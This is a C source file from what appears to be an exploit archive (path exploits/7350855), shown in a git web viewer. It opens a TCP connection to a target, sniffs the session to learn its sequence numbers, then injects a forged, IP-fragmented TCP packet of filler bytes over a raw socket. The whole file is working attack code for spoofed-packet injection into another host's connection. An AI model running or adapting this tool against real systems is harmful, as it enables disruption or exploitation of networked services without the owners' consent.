summaryrefslogtreecommitdiff
path: root/exploits/7350855/0/7350somefoo.c
blob: 9873e42ef85e19301af3087ef3c3aa6966c53d19 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libnet.h>
#include "packet.h"
#include "sniff.h"
#include "network.h"


extern pthread_mutex_t		watch_mutex;
extern int			watch;
extern struct in_addr		watch_ipsrc,
				watch_ipdst;
extern unsigned short int	watch_sport,
				watch_dport;
extern unsigned long int	watch_src_seq,
				watch_dst_seq;
extern unsigned long int	watch_src_ack,
				watch_dst_ack;

/* globals
 */
char *		target = "127.0.0.1";
unsigned int	target_port = 2000;
char *		interface = "eth0";

pq_thread *	pmain;
pthread_t	sniff_t;

/* prototypes
 */
void witch_write (unsigned char *data, unsigned long int data_len,
	unsigned short int frag_size);
int watch_connect (char *host, unsigned short int port);
void watch_enable (void);
void watch_disable (void);


void
usage (char *progfile)
{
	fprintf (stderr, "usage: %s [-t target] [-i interface]\n\n", progfile);

	exit (EXIT_FAILURE);
}


int
main (int argc, char *argv[])
{
	int		n;
	int		net;
	char		c;

	int		scount = 5;
	unsigned char	tbuf[8192];


	while ((c = getopt (argc, argv, "p:t:i:")) != EOF) {
		switch (c) {
		case 'p':
			target_port = atoi (optarg);
			break;
		case 't':
			target = optarg;
			break;
		case 'i':
			interface = optarg;
			break;
		default:
			usage (argv[0]);
		}
	}

	srandom (time (NULL));

	net = watch_connect (target, target_port);
	watch_enable ();

	while (scount-- > 0) {
		write (net, "\x73\x50", 2);
		sleep (1);
	}

	memset (tbuf, 'A', sizeof (tbuf));
	tbuf[sizeof (tbuf) - 1] = '\0';
	for (n = 0 ; n < sizeof (tbuf) ; ++n)
		tbuf[n] = n % 2 ? '\x73' : '\x50';

	witch_write (tbuf, sizeof (tbuf), 768);

	fprintf (stderr, "send\n");

	sleep (20);
	close (net);

	exit (EXIT_SUCCESS);
}


/* will write the data in one big tcp fragment. then tear down the connection,
 * since it would get fucked over by the local host anyway (which does not
 * know about the packets we send). idea by dvorak btw
 */

void
witch_write (unsigned char *data, unsigned long int data_len,
	unsigned short int frag_size)
{
	int			frag_no;
	unsigned short int	frag_ofs;

	unsigned long int	this_len;	/* this fragments length */
	unsigned char		tcpbuf[65536];
	unsigned char		pbuf[2048];	/* packet buffer */

	unsigned char *		tp;
	unsigned long int	tp_len;
	unsigned short int	tp_id = random () & 0xffff;

	int			rawsock,
				rawlen;


	/* first, disable tcp parsing, to not confuse it */
	watch_disable ();

	memset (tcpbuf, '\0', sizeof (tcpbuf));
	if ((data_len > (sizeof (tcpbuf) - TCP_H - IP_H)) ||
		frag_size > (sizeof (pbuf) - IP_H))
	{
		fprintf (stderr, "packet size exceeded\n");
		exit (EXIT_FAILURE);
	}

	/* XXX/FIXME: watch_dst_seq is used, but it should be
	 *            watch_dst_seq + length-of-last-send-packet-by-target-host
	 * XXX: so it only works if the last packet by the target was a simple
	 *      no-data packet
	 */
	libnet_build_tcp (watch_sport, watch_dport,
		watch_dst_ack,	/* ack # is next seq # */
		watch_dst_seq,	/* acknowledge what it send (hopefully nothing) */
		TH_ACK | TH_FIN | TH_PUSH,
		16384,		/* window size */
		0,		/* no urgent data */
		data,
		data_len,
		tcpbuf + IP_H);

	libnet_build_ip (data_len + TCP_H,	/* length w/o header */
		0,
		tp_id,
		0,
		128,			/* TTL */
		IPPROTO_TCP,		/* enclosed payload */
		watch_ipsrc.s_addr,
		watch_ipdst.s_addr,
		tcpbuf + IP_H,
		data_len + TCP_H,
		tcpbuf);

	/* calculate checksum and slide buffer so we only have the proper
	 * tcp packet left
	 */
	libnet_do_checksum (tcpbuf, IPPROTO_TCP, TCP_H + data_len);
	memmove (tcpbuf, tcpbuf + IP_H, TCP_H + data_len);
 
	tp = tcpbuf;
	tp_len = TCP_H + data_len;

	frag_size &= ~0x03;	/* align downwards on an 8 byte boundary */
	frag_no = 0;
	frag_ofs = 0;

	/* write it out
	 */
	rawsock = libnet_open_raw_sock (IPPROTO_RAW);
	if (rawsock == -1) {
		perror ("libnet_open_raw_sock");

		exit (EXIT_FAILURE);
	}

	while (tp_len > 0) {
		this_len = frag_size < tp_len ? frag_size : tp_len;
		tp_len -= this_len;

		memset (pbuf, '\0', sizeof (pbuf));

		/* construct one fragment
		 */
		libnet_build_ip (this_len,	/* length w/o header */
			0,			/* no special TOS */
			tp_id,			/* random ID */
			(tp_len > 0 ? IP_MF : 0) |	/* more fragments to come ? */
			((frag_ofs >> 3) & IP_OFFMASK),	/* fragmentation offset */
			128,			/* TTL */
			IPPROTO_TCP,		/* enclosed payload */
			watch_ipsrc.s_addr,
			watch_ipdst.s_addr,
			tp, this_len,
			pbuf);

		libnet_do_checksum (pbuf, IPPROTO_IP, IP_H);


		rawlen = libnet_write_ip (rawsock, pbuf, IP_H + this_len);
		if (rawlen != IP_H + this_len) {
			perror ("libnet_write_ip");

			exit (EXIT_FAILURE);
		}

		/* sleep to let the packet reach its target
		 */
		fprintf (stderr, "%2d: 0x%04hx (%5lu) - %5lu left\n", frag_no,
			frag_ofs, this_len, tp_len);
		usleep (500000);

		/* align for next fragment
		 */
		tp += this_len;
		frag_no += 1;
		frag_ofs += this_len;
	}

	close (rawsock);
}


void
watch_enable (void)
{
	pthread_mutex_lock (&watch_mutex);
	watch = 1;
	pthread_mutex_unlock (&watch_mutex);
}


void
watch_disable (void)
{
	pthread_mutex_lock (&watch_mutex);
	watch = 0;
	pthread_mutex_unlock (&watch_mutex);
}


int
watch_connect (char *host, unsigned short int port)
{
	int	sock;
	char *	ip_pr;


	sock = net_connect (NULL, host, port, NULL, 0, 20);

	pthread_mutex_lock (&watch_mutex);
	if (net_addrpair (sock , &watch_ipsrc, &watch_sport,
		&watch_ipdst, &watch_dport))
	{
		perror ("address pair on connection");

		exit (EXIT_FAILURE);
	}
	pthread_mutex_unlock (&watch_mutex);

	net_printipa (&watch_ipsrc, &ip_pr);
	printf ("%s:%hu <-> ", ip_pr, watch_sport);
	free (ip_pr);
	net_printipa (&watch_ipdst, &ip_pr);
	printf ("%s:%hu\n", ip_pr, watch_dport);
	free (ip_pr);

	pmain = pq_create ();
	if (pmain == NULL) {
		fprintf (stderr, "failed to create packetizer thread\n");
		exit (EXIT_FAILURE);
	}

	if (sniff_new (&sniff_t, interface, pmain)) {
		fprintf (stderr, "failed to create sniffing thread\n");
		exit (EXIT_FAILURE);
	}

	return (sock);
}